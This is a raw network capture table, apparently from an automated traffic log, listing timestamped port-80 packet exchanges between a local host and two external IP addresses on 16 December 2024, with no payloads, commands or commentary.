Dec 16, 2024 09:01:44.176898003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.176898003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.177931070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.178035975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.178108931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.179111958 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.179239988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.179261923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.179339886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.180351973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.180459976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.180494070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.180557013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.181530952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.181634903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.181708097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.181780100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.182743073 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.182785988 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.182812929 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.182862043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.183929920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.184020996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.184067011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.184133053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.185122967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.185214043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.185245037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.185348988 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.186269045 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.186361074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.186419010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.187463999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.187558889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.187566042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.187695980 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.188662052 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.188730955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.188791037 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.189011097 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.189845085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.189935923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.190073013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.191129923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.191170931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.191240072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.191240072 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.192212105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.192240000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.192289114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.192318916 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.193409920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.193511963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.193528891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.193599939 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.194605112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.194768906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.194820881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.194927931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.195785999 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.195904970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.195981979 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.196096897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.196986914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.197052002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.197320938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.198190928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.198290110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.198292971 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.198367119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.199398994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.199493885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.199517012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.199575901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.200606108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.200707912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.200742960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.201030970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.201889992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.202172041 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.202392101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.202478886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.202996016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.203116894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.203490019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.203597069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.204161882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.204267025 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.204294920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.204428911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.205343008 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.205451965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.205508947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.205727100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.206533909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.206640959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.206973076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.207092047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.207735062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.207859993 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.208065033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.208911896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.209013939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.209062099 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.209119081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.210107088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.210215092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.210377932 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.211357117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.211429119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.211594105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.211594105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.212496996 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.212543011 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.212775946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.213690042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.213787079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.213907957 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.213952065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.214838982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.215020895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.215049028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.215296030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.216025114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.216128111 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.216154099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.216279030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.217263937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.217346907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.217621088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.217679977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.218416929 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.218539953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.218563080 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.218679905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.219620943 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.219728947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.219729900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.219856024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.220881939 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.220920086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.221039057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.222064972 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.222167015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.222193956 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.222397089 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.223181963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.223340034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.236751080 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.236957073 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.306799889 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.307001114 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.307087898 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.353450060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.353552103 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.353637934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.353701115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.354063034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.354234934 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.354255915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.354320049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.355403900 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.355465889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.355524063 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.356390953 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.356524944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.356530905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.356663942 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.356818914 CET	80	49906	141.8.192.141	192.168.2.5
Dec 16, 2024 09:01:44.356888056 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:44.357628107 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.357708931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.357790947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.357790947 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.358784914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.358845949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.358887911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.358989954 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.359965086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.360054970 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.360073090 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.360136986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.361164093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.361305952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.361313105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.361424923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.362360954 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.362477064 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.362492085 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.362605095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.363548040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.363595963 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.363667965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.363732100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.364804983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.364882946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.364972115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.364972115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.365942001 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.366039991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.366096973 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.366362095 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.367168903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.367248058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.367253065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.367372990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.368442059 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.368537903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.368547916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.368679047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.369524002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.369607925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.369637012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.369766951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.370754004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.370871067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.370881081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.370991945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.371900082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.372033119 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.372040033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.372158051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.373078108 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.373137951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.373207092 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.373260021 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.374277115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.374345064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.374355078 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.374438047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.375467062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.375544071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.375685930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.375685930 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.376631975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.376744986 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.376884937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.376956940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.377861023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.377935886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.377973080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.378048897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.379035950 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.379122019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.379147053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.379326105 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.380203009 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.380259991 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.380315065 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.380373955 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.381421089 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.381478071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.381517887 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.381593943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.382601023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.382669926 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.382772923 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.382838011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.383799076 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.383867025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.383913040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.383995056 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.384978056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.385078907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.385094881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.385157108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.386167049 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.386317968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.386338949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.386379004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.387370110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.387461901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.387482882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.387649059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.388572931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.388652086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.388693094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.388745070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.389796019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.389852047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.389869928 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.389946938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.390959978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.391078949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.391079903 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.391140938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.392129898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.392183065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.392232895 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.392290115 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.393326044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.393441916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.393470049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.393570900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.394493103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.394567013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.394897938 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.395706892 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.395814896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.395828009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.395910025 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.396893978 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.397018909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.397069931 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.398092985 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.398164034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.398241997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.398447990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.399260044 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.399339914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.399375916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.399605989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.400475979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.400532961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.400573969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.400655985 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.401695013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.401778936 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.401801109 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.401886940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.402846098 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.402941942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.402955055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.403063059 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.404022932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.404093981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.404134989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.404274940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.405241966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.405311108 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.405386925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.405446053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.406426907 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.406554937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.406558990 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.406614065 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.407614946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.407675982 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:44.407695055 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:44.407732010 CET	49900	80	192.168.2.5	31.41.244.11
